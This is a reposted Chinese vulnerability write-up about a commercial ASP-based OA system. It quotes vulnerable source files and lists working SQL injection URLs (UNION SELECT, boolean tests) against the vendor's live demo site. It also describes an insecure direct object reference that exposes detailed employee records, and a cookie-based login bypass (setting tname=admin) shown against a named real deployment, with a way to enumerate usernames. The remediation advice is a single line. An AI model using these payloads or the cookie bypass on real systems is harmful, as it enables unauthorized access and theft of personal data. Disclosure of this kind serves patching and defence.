网站地图    收藏   

主页 > 后端 > 网站安全 >

某OA系统越权、多处SQL注入及任意用户登陆包括管

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 某OA系统越权、多处SQL注入及任意用户登陆包括管理员大量案例中招,官网demo中招,多处漏洞广州市颖峰信息科技有限公司http: www yfidea com product asp官方demo地址:http: demo yfidea com 官方成...

某OA系统越权、多处SQL注入及任意用户登陆包括管理员大量案例中招,官网demo中招,多处漏洞

官方demo地址:

http://demo.yfidea.com/

 

0x001 越权访问+SQL注入

第一处SQL注入

文件/OA/varset/modify.asp

 

<p>
  <%
strId=request("id")
 tname=request("tname")
Set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from varset where     ID='"&strID& "'"
rs.open sql,conn,1,1
%>
</p>



注入地址:

http://demo.yfidea.com/OA/varset/modify.asp?tname=bumenfile&id=-202' UNION ALL SELECT 1,2,3,db_name(),5,6,7--



第二处SQL注入

文件/OA/varset/modifyqishu.asp

 

<p>
  <%
   strId=request("id")
   tname=request("tname")
   Set rs=Server.CreateObject("Adodb.Recordset")
   sql="select * from varset where     ID='"&strID& "'"
   rs.open sql,conn,1,1
   %>



注入地址:

http://demo.yfidea.com/OA/varset/modifyqishu.asp?tname=bumenfile&id=-202' UNION ALL SELECT 1,2,3,db_name(),5,6,7--



第三处SQL注入

文件/OA/varset/modifysubject.asp

 

<p>
  <%
strId=request("id")
 tname=request("tname")
Set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from varset where     ID='"&strID& "'"
rs.open sql,conn,1,1
%>



注入地址:

http://demo.yfidea.com/OA/varset/modifysubject.asp?tname=bumenfile&id=-8892' UNION ALL SELECT 1,2,3,db_name(),5,6,7--



第四,五处SQL注入

文件/OA/varset/modifysys.asp

 

<p>
  <%
   var=request("var")
   vargroup=request("vargroup")
  
   set Rsvar= Conn.Execute("select * from varset where  name='"&var&"'")
 
   %>
</p>
<p> </p>
<p> </p>
<form id="form3" name="form3" method="post" action="savemodifysys.asp?var=<%=var%>&vargroup=<%=vargroup%>"  onSubmit="return form_check();">
  <p> </p>
  <table width="442" border="0" align="center" 
cellspacing="0" bordercolorlight="#11b1ff" bordercolordark="#f0f8ff">
    
    <tr align="middle">
      <td width="64" class="STYLE1"> </td>
      <td width="61" height="41" class="STYLE1"><div align="right">参数</div></td>
      <td width="315" align="center" valign="middle" class="STYLE1"><div align="left">
        <select name="vname" id="vname">
          <option><%=Rsvar( "vname" )%></option>
          <% Set RSsel = Conn.Execute("select * from varset where  name='"&vargroup& "'  order by vid" )
                   While NOT RSsel.EOF %>
          <option value="<%=RSsel( "vname" )%>"><%=RSsel( "vname" )%></option>
          <% RSsel.MoveNext
                  Wend
  %>
        </select>
        <input name="Submit" type="submit" class="topanniu" value="保存修改" />
        </div>
      </label></td>
      <td width="8"> </td>
    </tr>
  </table>
  <p> </p>
  <p> </p>
  <p align="center">说明:<%=Rsvar( "shuoming" )%></p>
  <% RSsel.Close
     Rsvar.close%>
</form>



http://demo.yfidea.com/OA/varset/modifysys.asp?var=-123' UNION ALL SELECT 1,2,3,db_name(),5,6,7--&vargroup=456

http://demo.yfidea.com/OA/varset/modifysys.asp?var=1&vargroup=-456' UNION ALL SELECT 1,2,3,db_name(),5,6,7--



第六处SQL注入

文件/OA/varset/modifytime.asp

 

<p>
  <%
strId=request("id")
 varname=request("varname")
Set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from varset where     ID='"&strID& "'"
rs.open sql,conn,1,1
%>
</p>



http://demo.yfidea.com/OA/varset/modifytime.asp?tname=bumenfile&id=-202' UNION ALL SELECT 1,2,3,db_name(),5,6,7--



第七处SQL注入

文件/OA/keyan/newfile.asp

 

<!--#include file="../SQLconn.asp"-->
<% 
dim strID
strId=request("id")

dim fjsql
dim fjrs
dim strfilename
fjsql="select * from wendangfile  where fid='"&strId& "'"
Set fjrs= Server.CreateObject("ADODB.Recordset")
fjrs.open fjsql,conn,1,1
Response.ContentType = fjrs("fileContentType")

'Response.AddHeader   "Content-Disposition","attachment;   filename="&fjrs("filename")
Response.AddHeader   "Content-Disposition","inline;   filename="&fjrs("filename")

Response.BinaryWrite fjrs("filevalue").getChunk(21212121) 
fjrs.close
set fjrs=nothing 
set conn=nothing 
%>



http://demo.yfidea.com/OA/keyan/newfile.asp?id=7' and 'a'='a——下载文件

http://demo.yfidea.com/OA/keyan/newfile.asp?id=7' and 'a'='b——无法下载文件



第八出SQL注入+越权访问+信息泄露

文件/OA/renshigongzi/modifyDangAn.asp

 

<%
   id=request("id")
   Set Rslist=Server.CreateObject("Adodb.Recordset")
   sqllist="select * from Employee where id='"&ID& "'"
   Rslist.open sqllist,conn,1,1
   
%>



http://demo.yfidea.com/OA/renshigongzi/modifyDangAn.asp?id=1

遍历id即可访问所有用户的档案信息,很详细的敏感信息

http://demo.yfidea.com/OA/renshigongzi/modifyDangAn.asp?id=1' and 'a'='a

显示正常

http://demo.yfidea.com/OA/renshigongzi/modifyDangAn.asp?id=1' and 'a'='b

显示错误,无回显



0x002 任意用户登录

文件/login.asp

 

<% 
   
   strip=Request.ServerVariables("REMOTE_ADDR")
   Set MyOAASPObj = Server.CreateObject("YFSchoolOApro.YFSchoolDll")
    str=MyOAASPObj.OA_Login(strip)
   set MyOAASPObj=nothing   
  
dim str1
    str1=split(str,"|",-1,1)

response.cookies("Tname")=str1(0)
response.cookies("imgdir")=str1(1)
response.cookies("nowxueqi")=str1(2)
 
response.cookies("filelength")=10 '这个1是表示上传文件的长度不能超过1M,控制整个系统的文件大小

if  str1(3)="888" then
     response.redirect("OA/user/password.asp")
else
    response.redirect("OA/Index.asp")
end if 

%>



这里的登录认证虽然通过了核心的dll文件,此dll文件加密无法看到源码,但是我们看大这些数据都是通过cookie进行处理的,肯定存在问题。。

再来看看/oa/checklogin.asp

 

<% '登陆控制,防止未登录查看
    if request.cookies("tname")="" then
        response.redirect("../Index.asp")
     end if
    %>



只是判断是否存在cookies("tname")来进行认证用户的访问权限。

所以经过测试,我们在Cookie中添加tname=用户名,即可登陆此用户账户。

以案例http://oa.bh5z.net为例

添加cookie:

tname=admin;

即可登陆admin用户

也可以添加cookie:

imgdir=004hong;

这是皮肤。

至于用户名,我们可以从这里得到:

http://oa.bh5z.net/oa/user/modifyuser.asp?iD=1824

遍历这里的id就可以获取全部用户,登录任意用户了。

修复方案:

最主要的控制权限,过滤

 

 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论